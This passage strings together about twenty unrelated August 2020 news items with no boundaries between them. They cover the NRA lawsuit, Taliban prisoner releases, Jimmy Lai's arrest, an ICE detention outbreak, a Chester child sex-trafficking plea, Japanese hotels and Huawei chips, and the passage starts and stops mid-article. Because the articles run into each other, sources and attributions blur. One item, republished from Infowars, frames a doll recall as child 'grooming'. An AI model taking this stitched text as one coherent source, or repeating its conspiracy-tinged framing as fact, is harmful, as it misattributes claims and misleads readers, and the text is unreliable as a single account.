said. Particularly as the NRA faces a financial crisis, its likely that the call for dissolution is meant to pressure the organization to come to a settlement sooner, said James Fishman, professor at the Elisabeth Haub School of Law at Pace University. Generally, neither the (attorney general) nor the courts want to dissolve an organization thats come on hard times if you could clean it up, which you probably could do with the NRA. Fishman and Hackney said it wasnt likely for dissolution to occur, though other requirements to promote good governance such as ousting leadership or having a court-appointed monitor oversee its practices would likely follow. Still, the negative press and cost of litigation could jeopardize the NRAs reputation. Even after the organization has cleaned up its act, (donors) may not open the checkbook again, Fishman said. Mexico City: A promise from Argentinas largest bank to hire transgender workers has ignited a backlash from some LGBT+ rights groups who argue that the hiring should favour trans women who face higher rates of violence than do trans men. State-owned Banco Nacion announced last week that it would seek to fill 1 per cent of its workforce with transgender employees, part of an agreement with the banking industry's labour union, Asociacion Bancaria. Argentina's state-owned Banco Nacion is based in Buenos Aires. Credit:Bloomberg The vow is the latest sign of progress for LGBT+ rights and acceptance in Argentina, which in 2010 became the first nation in South America to legalise gay marriage. But when local media reported that the first person hired under the scheme was a trans man with a political background, some activists accused the state bank of favouring a privileged male candidate over a trans woman. LOGOS accelerates investment in Southeast Asia LOGOS, a member of Sydney-headquartered ARA Group, has just revealed the plan of mobilising $1.2 billion to enter Vietnam and South Korea, according to newswire DealStreetAsia. The company is calling $400 million for its blueprint in Vietnam and also $800 million in South Korea. Previously, LOGOS assembled investments from Canada Pension Plan Investment Board and Ivanhoe Cambridge, among others for its expansion plan in Singapore and Indonesia. Most recently, the company has assigned Glenn Hughes, former director of Capital Project & Infrastructure at PwC Vietnam, to the position of head of the country. Looking further, LOGOS will focus on merging and developing lashings of brands major in logistic, e-commerce, and food, among others. Vietnam came on the global stage two years ago. We were first asked to come to Vietnam to support one of our major customers interest in Ho Chi Minh City. As we opened doors with other customers, our commitment to set up in Vietnam was resolute as the needs of these companies became evident, one of the companys founders quoted by DealStreetAsia. He also said that as the global supply chain is under degradation due to the trade war, Southeast Asia has arisen as an immense potential investment opportunity for overseas investors. Before draining capital to Vietnam and South Korea, LOGOS invested about $400 million in Indonesia in 2019. LOGOS was founded in 2010 by John Marsh and Iliffle then was acquired by ARA in this March. Since then, the company has shifted to mainly operate in industrial property. As of June 2020, LOGOS had more than six million square metres of real estate space worth $7.16 billion through 20 joint venture projects. HMD Global announced that Qualcomm and Google had invested big in the new home of Nokia phones. The total pool of investment is $230 million and the company didn't disclose all of the investors but it does give us a good idea of how Nokia brand will develop in the future. According to HMD Global, the fresh $230 million injection will accelerate its 5G growth by introducing more 5G-enabled phones and also help them reach more markets across the globe. And besides, with all the fuss around the US government's ban on Huawei, Google is looking to propel a new smartphone maker into the top smartphone OEMs. With HMD Global keeping some of its staff, including its datacenter in Finland, it's clear that the European smartphone company is less likely to get in the crossfire between the US and China trade war, so it seems like a safe bet. Source (Natural News) A Troll doll made by Hasbro was revealed to carry a secret button on its private parts that made the childrens doll gasp and giggle when pressed. The revelation of the button and its inappropriate sexual connotations sparked a social media firestorm and a Change.org petition that has amassed nearly half a million e-signatures. (Article by Lionel Du Cane republished from Infowars.com) The Trolls World Tour Giggle and Sing Poppy doll was exposed across social media, accumulating tens of thousands of engagements. The question Is @Hasbro normalizing grooming & facilitating child abuse? was asked in one tweet that showed a video of a disgruntled mother showcasing the doll. The narrator to the video exposing the dolls button began by saying: I wanted to do a quick video because I find this disturbing, and I find it something that needs to be shared. As you all know, stuff that has been going on in the world about the sex trafficking in kids and the stuff that is thrown in our kids faces to kinda groom them, and make them kind of a little bit more oblivious to things that are really happening. The narrator goes onto explain: It was my daughters birthday a couple of days ago and she turned two. And she was given this gift: a little Poppy dollit is adorable. She then goes onto outline the features of the doll, including the 10 phrases and sounds that the doll makes when a button on its belly is pressed, but no mention of the button in the dolls intimate parts under her skirt. The woman filming touches the dolls belly to demonstrate the promised feature on the box, causing the doll to sing. She then reveals a button on the dolls private area that makes a gasping sound when pressed, before reiterating the lack of any mention of the private button on the box. https://twitter.com/SamParkerSenate/status/1290986237315039232 The video drew much anger and even led to the creation of a success online petition to remove the toy. Our society is conditioning our children to think pedophilia is ok, the petition begins. This Trolls World Tour doll named Poppy has a button on her private area under her skirt. When you push this button on the dolls private she gasps and giggles. This is not okay for a childs toy! This toy needs to be removed from our stores, the petition continues. What will this toy make our innocent, impressionable children think? That its fun when someone touches your private area? That pedophilia and child molestation are ok? Its not ok! Its not fun! Its damaging and has long term affects on a childs mental/physical health! Sign this petition to get this toy removed from shelves and help #SaveTheChildren! Children are our future and WE are their voice! The petition concludes. Hasbro later announced it would be recalling the toy. The creator of the petition, Jessica McManis, was thrilled to hear of her success. I didnt expect my petition to blow up like this! Im so happy it did! They recalled the doll today. Theres no way someone at Hasbro didnt think that it was weird when deciding to create this doll like that, she tweeted. I didn't expect my petition to blow up like this! Im so happy it did! They recalled the doll today. Theres no way someone at Hasbro didnt think that it was weird when deciding to create this doll like that. https://t.co/DrubihcYZy Jessica McManis (@JessiMcmanis) August 6, 2020 This was not intentional and we are happy to provide consumers with a replacement Poppy doll of similar value through our consumer care team, a Hasbro spokesperson told the New York Times. We are in the process of removing the item for purchase. Read more at: Infowars.com 11.08.2020 LISTEN The Accra Police Command has confirmed a bomb explosion at the La Beach on Wednesday, August 5, leaving four children injured in the process. A statement issued in Accra by Head of Public Relations Unit, Accra Regional Command, Deputy Superintendent of Police, Efua Tenge, said all the four children had since been treated and discharged. It said the explosion occurred when the children were playing along the La Beach. The statement advised parents not to leave their children without the needed parental guide, now that they were home. Similarly, children should be discouraged from handling unfamiliar objects, it added. The Police advised the public, especially parents and community leaders to be wary of strange objects they chanced upon and immediately draw the attention of the police for the appropriate response. It said the Police should be notified of strange objects in their vicinities by calling the Police Emergency numbers 191, 18555 or 112. ---Daily Guide A mega gathering of prominent Afghans has approved the release of hundreds of Taliban prisoners The Afghan government and the Taliban are on the verge of peace talks after thousands of prominent Afghans approved the release of about 400 contentious militant prisoners, the head of Kabul's peace council said Sunday. The prisoners' fate has been a crucial hurdle in launching peace talks between the two warring sides, which had committed to completing a prisoner exchange before negotiations can start. The resolution was passed at the end of a three-day "loya jirga" -- a traditional Afghan meeting of tribal elders and other stakeholders sometimes held to decide on controversial issues. "In order to remove the hurdles for the start of peace talks, stopping bloodshed, and for the good of the public, the jirga approves the release of 400 prisoners as demanded by the Taliban," jirga member Atefa Tayeb announced. According to an official list seen by AFP, many of the inmates are accused of serious offences, including many involved in attacks that killed scores of Afghans and foreigners, with more than 150 of them on death row. The jirga urged the government to give assurances to the population that the released prisoners would be monitored and would not be allowed to return to the battlefield, adding that foreign fighters should be sent back to their respective countries. It also demanded a "serious, immediate and lasting ceasefire" in the country. "The decision of the loya jirga has removed the last excuse and obstacles on the way to peace talks. We are on the verge of peace talks," said Abdullah Abdullah, who is leading the government's peace process and was appointed head of the loya jirga. Afghan President Ashraf Ghani said he would sign a decree to release the prisoners on Sunday. "The Taliban should now demonstrate that they are not afraid of a nationwide ceasefire," he said. US envoy Zalmay Khalilzad said after the prisoner releases "in the next few days" he expects negotiating teams to travel to Doha "& from there the immediate start of intra-Afghan negotiations". Story continues And former president Hamid Karzai told the jirga he understood that the talks "would begin within two to three days" after the prisoners are released. - 'Redeeming Taliban is treason' - The Afghan government has released almost 5,000 Taliban inmates, but authorities had baulked at freeing the final prisoners demanded by the Taliban. US Secretary of State Mike Pompeo pushed for the release of the detainees, while recognising the decision would be "unpopular". The prisoners include 44 insurgents of particular concern to the United States and other countries for their role in "high-profile" attacks. Five are linked to the 2018 attack on the Intercontinental Hotel in Kabul that killed 40 people, including 14 foreigners. A Taliban militant involved in the massive May 2017 truck bombing near the German embassy in Kabul is also on the list, which includes a former Afghan army officer who killed five French troops in an insider attack. The family of French aid worker Bettina Goislard, who was murdered in Afghanistan in 2003, said they would not accept the release of her killers, who are on the list. "Such a decision to free (them) made on the basis of horse-trading would be, to us, her family, inconceivable," Bettina's family said in a statement to AFP before the decision was announced. On the first day of the gathering, lawmaker Belquis Roshan, a prominent women's rights activist, protested against the release of the prisoners, unfurling a banner that read: "Redeeming Taliban is national treason." Security forces on Sunday said they arrested 11 Islamic State members who planned to attack the gathering. The intra-Afghan talks were slated under a US-Taliban deal agreed in February, in which Washington said it would withdraw its troops from Afghanistan by mid-2021 in return for security guarantees. Defense Secretary Mark Esper told Fox News on Saturday said the US would reduce the number of American troops in the country to less than 5,000 by the end of November, but added that it was "conditions-based". President Donald Trump, up for re-election in November, has said repeatedly that he wants to end America's longest war, which began nearly 20 years ago when Washington ousted the Taliban following the September 11 attacks. bur-st/dw Hong Kong's new security law strikes freedom once again as police officers arrest Jimmy Lai, an outspoken publisher of the popular pro-democracy newspaper Apple Daily in the city. Authorities suspected Lai of foreign cooperation and took him into custody under the controversial new legislation, marking the most recent move against democracy activists. On Monday, an executive from Lai's company, Mark Simon, said police officers arrested Lai inside his own home and told him he would face charges under the new security law. Two of his sons and four of his employees from the publishing company were also taken into police custody. Activists arrested According to the Wall Street Journal, Hong Kong police revealed they arrested at least nine people throughout the day under the new legislation and other charges, including fraud. The events suggest worrying signs of the future of press freedom in the city. The staff of the publishing company live-streamed the raid as about 200 police officers stormed Apple Daily's newsroom and strung up cordons, surrounding reporter cubicles. Sometime later, officers escorted a handcuffed but calm-looking Lai through the newsroom. In the live stream, the 70-year-old publisher spoke in Cantonese and stated that the incident shows the apparent attempts at blocking press freedom in Hong Kong. Since the introduction of the new security law, Lai has been the most prominent pro-democracy figure that Hong Kong police arrested. The publisher has long been a towering entity in the city, and his publishing company has continued to oppose the pro-Beijing side of the city during the peaceful protests and sudden, violent clashes with police last year that terrorized Hong Kong. Shortly before the government announced it would pass the new security law in Hong Kong in May, Lai said he was concerned that the Chinese Communist Party (CCP) would begin retaliating not only against the press freedom in the city but also its free people. Also Read: Hong Kong Tags Pro-Democracy Activists as Criminal Group, Calls for Their Arrests Troublesome since its passing The new legislation took effect on June 30, shortly before the anniversary of the city's handover to China from British rule. Since then, students have been arrested for their posts on social media and police have posted warrants for pro-democracy activists living internationally. The legislation had also banned some pro-democracy politicians from running in legislative elections, as reported by The New York Times. After police arrested Lai, another prominent pro-democracy activist was taken into custody. Twenty-three-year-old Agnes Chow is currently under investigation for allegedly inciting secession. In a social media post, Chow stated police arrived at her residence, and her lawyers were making their way to assist her. Later, another post confirmed that police officers had taken her into custody. According to ABC, a Chinese government spokesman said that while the activists have not been face-to-face with court officials yet, they should be severely punished for their transgressions. The new security law allows China to punish what it deems to be connected to subversion, secession, terrorism, and foreign collusion and can punish suspects with up to life in prison. Several critics have expressed their dismay with the new legislation that they say undermines Hong Kong's political freedom and autonomy. However, some supporters claim the law brought stability after widespread protests last year. Related Article: European Union Sanctions China Over Hong Kong's New Security Law, Limits Exports of Goods @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Source: Xinhua| 2020-08-12 01:52:42|Editor: huaxia Video Player Close DAMASCUS, Aug. 11 (Xinhua) -- As many as 72 new COVID-19 cases were recorded in Syria on Tuesday, bringing the overall number of infections in the government-controlled areas to 1,327, state news agency SANA reported. The total 1,327 cases recorded in Syria since March include 385 recoveries and 53 deaths, SANA said, citing a statement by the health ministry. Meanwhile, activists said 138 cases have so far been reported in areas controlled by the Kurdish-led Syrian Democratic Forces (SDF) in northeastern Syria, while 46 have been reported in other rebel-held areas, namely in the countryside of Aleppo Province in northern Syria and in the northwestern province of Idlib. Medical sources have said the number of infections in government-controlled areas is much higher than the figure published by the health ministry that lacks the capacity of conducting wide-scale COVID-19 tests. China has offered help to Syria to fight the COVID-19 pandemic. On April 15, China delivered the first batch of medical aid, including 2,016 COVID-19 testing kits. On June 4 and June 24, Syria received another two batches of medical supplies donated by China, including testing kits, protective suits, masks, goggles and infrared thermometers. On April 23, a video conference was held between Chinese and Syrian medical experts for sharing the experience in fighting the COVID-19 pandemic. Enditem (Nikkei Asian Review) Japan will appoint a veteran diplomat with strong ties to China as its next ambassador to the country, with bilateral ties only expected to grow more complicated amid Beijings rivalry with Washington. Hideo Tarumi will succeed current Ambassador Yutaka Yokoi as early as this year, following official approval by the Japanese cabinet. Both Tarumi and Yokoi, who took the post in 2016, are members of the China school a term used for diplomats who received language training in Chinese. In 2008, Tarumi became division director for China and Mongolia at Japans Ministry of Foreign Affairs, then served as a minister at the Japanese Embassy in Beijing from 2011 to 2013. He is not only knowledgeable about how things work in China, but can get tough when necessary, a Foreign Ministry official said of Tarumi. He helped broker a diplomatic resolution to a 2010 incident where a Chinese fishing boat collided with Japanese Coast Guard vessels near the Senkaku Islands, which China claims as the Diaoyu, then again after Japan nationalized the island chain in 2012. His track record has apparently won him the trust of the prime minister's office. Tarumis ability to gather information caught the eye of the Chinese authorities in his time at the embassy in Beijing, according to diplomatic sources. From 2016 to 2018, he worked at the Taipei branch of the Japan-Taiwan Exchange Association. China is believed to be keeping a close eye on Tarumi's appointment. He would move into the ambassadorship at a delicate juncture in Sino-Japanese relations as Tokyo struggles to find a balance between top trade partner China and military ally the U.S. He will need to take carrot-and-stick approach to help advance economic ties with China even as Japan works with the U.S. to curb Beijing in such areas as Hong Kong and the South China Sea. Japan's ruling Liberal Democratic Party is split on how to deal with China. Chinese President Xi Jinping was supposed to make a state visit to Japan this spring, but the trip was delayed by the coronavirus and has yet to be rescheduled. This story was first published in the Nikkei Asian Review. Download our app to receive breaking news alerts and read the news on the go. The Ondo State Governor, Rotimi Akeredolu, has inaugurated the Ondo State Security Network Agency, code-named Operation Amotekun. The inauguration was done at Gani Fawehimi Arcade in Akure, the state capital on Tuesday. This development is coming months after the bill setting up the security outfit was passed into law by the state House of Assembly and signed into law by the governor. Speaking at the inauguration, Mr Akeredolu said the community policing became necessary to curb all forms of insecurity in the state. Six southwest governors, on January 9, launched a security outfit, code-named Operation Amotekun to defend the region against rising insecurity marked by indiscriminate killings, kidnappings, banditry and destruction of farmlands. After its launch, the initiative triggered a controversy across the country as the Nigerian government through Abubakar Malami, Attorney-General of the Federation, described the initiative as illegal. The governors later met Mr Malami and the parties agreed to give legal backing to the initiative but said it wont be a regional outfit as earlier conceived, but state-based. Governor RotimiAkeredolu inaugurates Amotekun in Ondo [PHOTO CREDIT: Twitter @RotimiAkeredolu In February, the governors also met with Inspector-General of Police, Mohammed Adamu who agreed that the new initiative will be done in partnership with the police to deal with crime-related challenges. Governor RotimiAkeredolu inaugurates Amotekun in Ondo [PHOTO CREDIT: Twitter @RotimiAkeredolu Governor Rotimi Akeredolu inaugurates Amotekun in Ondo [PHOTO CREDIT: Twitter @RotimiAkeredolu A federal judge on Tuesday barred the Trump administration from transferring more undocumented immigrants into a Virginia detention center that is home to the nation's largest novel-coronavirus outbreak inside such a facility. U.S. District Judge Leonie Brinkema also said she would decide whether to allow an independent health expert to inspect the Farmville facility after the Centers for Disease Control and Prevention delivers a report Friday on testing being conducted there this week. During a hearing on a lawsuit filed on behalf of four detainees, Brinkema chastised U.S. Immigration and Customs Enforcement and Immigration Centers of America, the company that operates the facility, for not doing more to prevent infections, noting that the virus began to spread there in June after 74 detainees were brought in from detention centers in Arizona and Florida without first being quarantined. The lawsuit, filed in U.S. District Court in Alexandria, Va., says 51 of those transfers later tested positive in an outbreak where 259 detainees are being monitored for the virus, nearly all of the facility's population, according to ICE. "You have this large movement of people from two hot areas on June 2 and, by June 22, you've got a significant increase in the [virus]-positive infection rate at the facility," Brinkema said. "The only factor that was changed is that influx of new people, which is incredibly dramatic and seems to indicate that some terrible mistake was made along the way." An ICE spokeswoman declined to comment on the hearing but reiterated an earlier statement saying that the health, welfare and safety of immigrant detainees "is one of the agency's highest priorities." The outbreak in central Virginia has worried state health officials working to reverse a steady rise in cases since shutdown restrictions were loosened in June. Last month, Democratic Gov. Ralph Northam and both of the state's U.S. senators asked President Donald Trump to allow the CDC to step in after Immigration Centers of America repeatedly turned down offers from the state Health Department for help with testing. State officials say they've had little authority to intervene because the center is operated under a federal contract. On Monday, the CDC sent a team of scientists to assess the crisis, with plans for additional testing of detainees and staff members. The agency is scheduled to deliver its findings to ICE on Friday. Attorneys for the plaintiffs in the lawsuit have argued that an independent public health expert should be brought in to conduct a more thorough review of the facility's conditions, including availability of personal protective equipment. Brinkema appeared poised Tuesday to grant at least a portion of that request, ordering ICE to allow the attorneys and the public health expert to listen in when CDC officials share their findings by teleconference to determine what other types of monitoring should be added. That step, and ordering that no one else be brought into the facility until there is proof that proper safety measures are in place, would help the detainees, the facility's staff and the surrounding community, the judge said. "People who work in this facility go home at night," she said. "They shop in the local stores, they go to the local churches, they have their families." An exhibitor pours red wine during the Vinexpo at Javits Center in New York City on March 2, 2020 in New York City. (Angela Weiss / AFP) US Senators Call on Trade Representative to Lift Tariff on Foods Imported From EU A bipartisan group of senators have asked the U.S. Trade Representatives Office (USTR) to remove 25 percent tariffs imposed in October 2019 on European Union (EU) food and wine. Sens. Cory Gardner (R-Colo.), Bob Menendez (D-N.J.), and Susan Collins (R-Maine) along with 10 other senators called for an end to tariffs on imported food and beverages from the European Union (EU). The senators sent a letter to the U.S. Trade Ambassador, Robert E. Lighthizer on Aug. 7, requesting his help to lift tariffs on foods imported from the EU. We write today to request the removal of the Section 301 tariffs that were placed on food and beverage specialty products from the European Union in October 2019 in relation to the World Trade Organization Large Civil Aircraft dispute, the senators wrote. The senators said that small business in their districts are being hit hard by the pandemic and removing the existing tariffs from imported products like cheese, wine, meat, fruit, olive oil, etc. from the EU will alleviate the increased financial strain on families trying to put food on their tables and restaurants trying to keep their doors open during the economic crisis caused by the pandemic. The biggest problem with this is, most of the damage thats being done from these tariffs is done to a series of small businesses here in the United States, Ben Aneff, president of the U.S. Wine Trade Alliance, told WWLP. Aneff added that restaurant owners are bearing the brunt of the imposed tariffs. Restaurants, retailers, grocers, importers, and distributors, many of which are small, locally-owned businesses, have experienced severe economic hardship due to the increased cost of goods, wrote the senators. We appreciated the Administrations decision earlier this year to not increase the tariffs; however, the negative economic costs of the remaining 25 percent tariffs continue and the COVID-19 pandemic has only compounded the harm, the senators added. There were 26,160 total restaurant closures on Yelp as of July 10 and 15,770 of those who have made the decision permanent, according to Yelp. According to Yelps Economic Impact Report, The restaurant industry now reflects the highest total business closures, recently surpassing retail, the report stated. The senators urged Lighthizer to lift the tariffs so businesses impacted by the pandemic might have a chance to survive the current economic downturn. These industries have been hit hard by the pandemic and we encourage you to avoid subjecting workers and businesses that depend on these products from further economic harm and urge the EU to simultaneously remove its tariffs, and agree not to impose more tariffs, on U.S. food and drink products, the senators said. The large man in the grey suit interrupted Donald Trump. No one interrupts Donald Trump especially at the White House. At his White House. Then the man turned his back to the television cameras showing the utterly surreal scene live around the world. Two things told the tale: His oversized suit jacket large enough to drape over his government-issue firearm. And the earpiece snaking out of his crisp white dress shirt. That's the look of a US Secret Service agent. The look on the president's face as the man spoke also told the tale. Calm but serious. "Oh, okay," Trump said as the man said something and motioned towards the blue door that separates the James Brady Briefing Room from the White House press office. The 45th president loves a good argument. But he did not try to change the large man's mind. Something clearly was amiss. Presidents are not just removed from public events by their security details because of something mildly suspicious. After all the drama of Trump's term that has become to somehow feel normal, this rose to the level of serious. During this correspondent's nearly 20 years reporting in Washington, I cannot recall a similar scene. Then-Vice President Dick Cheney has recalled being carried to a secure bunker under the executive mansion during the Sept. 11, 2001 terrorist attacks. But he was not "The Decider," meaning the leader of the free world. And that scene did not play out on live television. This reporter has ridden out lock downs in the press area of the White House, which are regular but not routine. I have been, shall we say, helped back inside the briefing room by a Secret Service officer who was just doing his job. But this president being escorted out of the briefing room amid a pandemic, amid sometimes-violent protests over racial inequality as he floats the idea of accepting the Republican presidential nomination at a Civil War battlefield felt somehow poetic. Trump breeds chaos. He thrived off of it for much of his term. In general, chaos tends to breed chaos. That's what came to Trump's own briefing room on Monday evening. Even more surreal was what happened next. The president returned to the briefing room, where he shrugged off the incident, saying the world has been a "dangerous place" for a while now. That's not likely to change anytime soon, the "American carnage" president told reporters. He denied being "rattled," as one reporter asked. And he didn't look it. Not as he was being informed of the incident and not when he came back. Passersby on 17th Street NW near the White House tweeted videos of law enforcement personnel administering first aid to someone lying on a sidewalk as Trump was again back at the lectern with the presidential seal. This scribe gives Trump credit for coming back to take a good number of questions on a range of topics. He never seemed to flinch and he commendably praised the Secret Service for the apparent fast work outside neutralising a potential threat and for protecting the current occupant of the Office of the President, who happens to be a former reality television host. A cynical person might wonder if the Trump campaign is already prepping a campaign video showing the president marching back into the briefing room on a split screen with the chaos outside. For now, let's all marvel at another dramatic episode of what many have dubbed "The Trump Show." There rarely is a dull moment in a presidency unlike any other. Tune in tomorrow, folks, because anything is possible. President Muhammadu Buhari and State Governors Tuesday ended their meeting on the state of the nations security with calls for a joint strategy to bring various conflicts to an end within time limits, while field commanders would take measures to protect civilian communities as a confidence-building mechanism between the military and those communities. It is hoped that when the trust that has been lost between both parties is re-established, there would be improved cooperation in intelligence-gathering and sharing. The meeting also agreed that poverty and youth unemployment are at the root of the nationwide security challenges, and needed to be addressed with greater vigour by all tiers of government. The three-hour meeting coordinated by President Buhari, and attended by the Vice-President, Prof. Yemi Osinbajo, heads of defence, security and intelligence agencies, and members of the Security Committee of the Nigerian Governors Forum represented by one governor from each of the six geo-political zones (in a Virtual Format), focused on the countrys security policies and approaches in tackling the internal security challenges with a charge that intelligence-gathering and sharing must be optimised for the nation to secure itself. SEE ALSO: The President used the opportunity to dispel commonly held assumptions that the terrorists in the Northeast had far more weapons and money than the government, stressing that what is left of them are mere scavengers desperate for food, raiding shops and markets, and killing innocent persons in the process. He also expressed concern that in spite of the fact that borders with neighbouring countries had been shut, bandits and terrorists continued to have access to small weapons. These terrorists are in the localities. How is it that they are not short of small arms? he queried the security and intelligence chiefs. According to President Buhari, We have said enough on the need for them to rejig their operations. I am glad that there is better synergy and cooperation which are very important. I have directed the Service Chiefs to meet among themselves in-between the National Security Council meetings. The services have resources; yes, they need more, and mobility, and are doing their best, but there is a need for better gathering and interpretation of intelligence. Our intelligence-gathering must be improved. President @MBuhari presides over a virtual meeting with members of security committee of the Nigerian Governors Forum this afternoon, at the State House, Abuja. (PHOTO CREDIT: Twitter @MBuhari) The President informed the Governors of the imminent shipment of military weapons and aircraft from Jordan, China and the United States, but again asked for patience on the part of the public because the new weapons and aircraft must be manned by trained fighters and pilots who must first receive appropriate training. President Buhari also expressed satisfaction with the level of support from neighbouring countries in the war against terrorism. They are cooperating with us. On Boko Haram, we are making progress with Benin, Niger, Chad and Cameroon, he said, while restating that intelligence-gathering must improve to be able to track small arms in the Northwest, North Central and Northeast States. The President also expressed satisfaction with the level of Naval activity in the Gulf of Guinea, using newly-acquired equipment, but demanded that hard-to-reach areas of Lake Chad where Boko Haram terrorists have found new havens, as well as the forests now inhabited by bandits, must be accessed and rid of nefarious elements. President @MBuhari presides over a virtual meeting with members of security committee of the Nigerian Governors Forum this afternoon, at the State House, Abuja. (PHOTO CREDIT: Twitter @MBuhari) The Chief of Defence Staff has spoken about their study of the forests and their potential danger to security. We must make sure we follow the bandits and terrorists, but there must not be deforestation in view of the climate situation, said President Buhari. In their submissions anchored by their Chairman, Governor Kayode Fayemi of Ekiti State, and Governor Babagana Zulum of Borno State, the Governors highlighted the problems of poverty, unemployment, trust deficit between the military and civilian populations and the inflow of small arms into the country. The Governors also pointed to the problem of coordination among military and security chiefs and played up their own security roles which included USD1 billion they allowed the President to withdraw from the Excess Crude Account for weapons procurement two years ago. They, therefore, urged the President to consider a bail out for security for the States in view of the enormity of the resources they now expend in support of the military and the police. Garba Shehu Senior Special Assistant to the President (Media & Publicity) August 11, 2020 MEDIA COURTHOUSE A 36-year-old Chester man pleaded guilty Friday to multiple counts of sex trafficking and involuntary deviate sexual intercourse with minors, both felonies of the first degree. James Carr Sr. entered open guilty pleas to 14 counts spread over four cases before Common Pleas Court Judge George Pagano for sexually abusing teenage boys and possessing child pornography. Carr, appearing from the county prison via closed-circuit television, pleaded to two counts of trafficking minors, two counts of involuntary deviate sexual intercourse with a person less than 16 years old, one count of involuntary deviate sexual intercourse with a person less than 13 years old, two counts of solicitation to perform involuntary deviate sexual intercourse, four counts of corrupting the morals of a minor, one count of endangering the welfare of children, one count of sexual abuse of children for possessing more than 500 images of child pornography and one count of criminal use of a communication facility. No sentence was negotiated between defense counsel Howard Anmuth and Assistant District Attorney Christopher Boggs, head of the Special Victims and Domestic Violence Division, but Carr faces a maximum 192 years in prison and fines up to $290,000. Carr, of the 1200 block of Curran Street, was arrested in August 2019 following an investigation by Delaware County Detective Mark Bucci and Detective Sergeant Kenneth Bellis, both members of the District Attorneys Criminal Investigation Division and Internet Crimes Against Children Task Force. The investigation began June 27, when Bucci received word that Carr was paying teenage boys cash to perform sexual acts. Carr routinely employed friends, acquaintances and teenage boys to help him with chores around the house, according to information previously release by the District Attorneys Office. Interviews with four victims revealed that Carr would solicit teenage boys between the ages of 14 and 15 to allow him to perform sexual acts on them or to perform sexual acts on him in exchange for sums ranging between $100 and $400, the release said. Two of the teenagers said they had sexual contact with Carr and two others said Carr solicited them to perform sexual acts, according to the release. The offenses occurred at residences in Colwyn and Chester between April 2018 and June 2019, according to the release. County detectives executed a search warrant at Carrs residence July 15, 2019, and seized several electronic devices, including cellphones and laptops. The CID Computer Forensics Unit found sexually explicit videos and images on those devices depicting males and females under the age of 18 including infants and toddlers being sexually assaulted by adults and other minors. One of the cellphones allegedly contained more than 1,000 unique video files and more than 400 unique image files of child pornography. A laptop likewise contained more than 200 unique video files and more than 50 unique child pornography images, according to the release. The video files were found in a folder structure under the user profile James, the release stated. Pagano set sentencing for Nov. 23, pending a presentence investigation and evaluation by the Pennsylvania Sexual Offenders Assessment Board. Share this article Whatsapp Facebook Twitter Linkedin (Kyodo News) Tokyo Tue, August 11, 2020 09:00 526 6657ac82168da9fa101c8a4066cfc17c 2 News Japan,Hotel,travel,tourism Free As the summer vacation season arrives, many of Japan's hotels are betting that an emphasis on safety measures rather than low prices will be the best way to attract wary customers amid the novel coronavirus pandemic. As they seek to make up for lost sales and stay afloat, some are also offering paid-in-advance vouchers and flexible reservations with no cancelation fees. Oyo Japan G.K., the Japan unit of major Indian hotel operator Oyo Hotels & Homes, has started offering its member facilities packages of free sanitary goods, including 200 face masks, thermometers, a set of 200 gloves, hand sanitizers and plastic sheets. The unit, which runs over 200 accommodation facilities in Japan, has also designed its own authorization program that will certify that a member hotel has cleared more than 40 sanitation benchmarks, such as regular sterilization of elevator buttons, periodic ventilations of rooms, and promotion of contactless room service and checkout processes. As of Aug. 5, some 107 member accommodation facilities had applied for certification, with 80 so far earning a logo. "Some smaller hotels and inns are still in limbo about what they should do about coronavirus response measures due to a lack of resources and experience," said Oyo Japan Deputy-CEO Ryota Tanozaki. "We wanted to support their first step forward by offering the sanitation package for free and also compiling our own authorization system. For small, family-run hotels, making a single pamphlet or brochure explaining their sanitary measures to customers is a burdensome investment," he added. Hit hard by the pandemic, Oyo Japan's room occupancy rates decreased to 59 percent of year-before levels in January, 62 percent in February and 51 percent in March. Read also: Japan plans to expand airport PCR testing capacity to 10,000 per day The falls, nevertheless, were not as bad as the nationwide average, due in part to Oyo Japan's artificial intelligence-powered dynamic pricing, which fluctuates depending on demand, supply and other factors. Oyo Hotel New Washington in Tokyo, which made the decision to become a franchisee of Oyo Hotels after a sales slump, is one the member facilities that requested the free sanitation package and earned the sanitation certification. The hotel is located opposite the headquarters of Japan's public broadcaster NHK and has "heavily depended" on NHK customers, hotel owner Yoshimi Takahara said. "Oyo has been helpful just as we were aware of the need to strengthen sanitation measures for safe and comfortable stays," Takahara said. Trip.com Group Ltd., a major Chinese provider of travel services including accommodation reservations, has also been enthusiastic about revitalizing the Japanese tourism industry in the hope that inbound travelers from China will return sometime in the future. Japan currently bans tourist arrivals from almost all countries due to the pandemic. Trip.com has launched various promotion services allowing flexible bookings of hotels and transportation. To put cash into hotels' hands, it has promoted a heavily discounted voucher scheme. If a purchaser ends up not making a reservation, he or she can get a full refund for the voucher. In mid-July, five-star hotels and luxury Japanese-style ryokan inns were pitched on a live stream Trip.com program for Japanese viewers, offering discounted vouchers effective until March 2021. The one-hour streaming succeeded in earning 3,600 bookings, equivalent to some 73 million yen ($690,000), with as many as 4,779 people watching the program at one time, according to Trip.com. When a similar program on Japanese hotels and ryokan was streamed live to Chinese users at a later date, some 22,912 rooms were booked for a total of 26.19 million yuan ($3.75 million), in a sign of the persistent popularity of Japan as a tourism destination spot, Trip.com said. In 2019, 9.59 million people visited Japan from China, accounting for a third of total inbound travelers. "We can't wait to start traveling again, and exploring the wonders of the world, and what the world needs most right now is the freedom to travel on safely," said Trip.com Group CEO Jane Sun in a statement. "With the measures for safety and flexibility we've announced, and these amazing deals and exciting new products on offer, that moment is now. It's time to travel on." With the outlook for a recovery in foreign travelers uncertain, the government is pinning its hopes for the hard-hit tourism industry on an increase in domestic trip-takers, after launching a subsidy campaign called "Go To Travel" in July. But the campaign was controversial from the start amid worries it could worsen the virus outbreak, and the government was forced to exclude Tokyo at the last minute due to a spike in new cases in the capital. For Tokyoites who have been left out of the campaign, hotels in the capital are promoting special programs. Hotel Chinzanso Tokyo has started to offer plans including free taxi rides to and from the hotel and in-room dining to allow Tokyo residents to relax with a change of scene while minimizing infection risks. Major hotel chain Prince Hotels Inc. also provides packages exclusive to Tokyoites with restaurant coupons. Hotels and inns along with businesses serving food and drink are among the hardest hit by the pandemic, according to credit research firm Teikoku Databank. It said the number of bankruptcies in all sectors of the economy related to the coronavirus reached 400 as of Aug. 3. Topics : Japan Hotel travel tourism The big picture: Huawei could come up with an ARM-based desktop CPU before Apple does, as the company is readying a desktop PC for China's 3-5-2 plan to replace foreign hardware from its public infrastructure by 2022. And when it does, this CPU could be faster in some scenarios than Intel's Core i9-9900K, marking an important milestone on China's road to technological self-sufficiency. Huawei has been gradually losing its silicon partners as a result of US 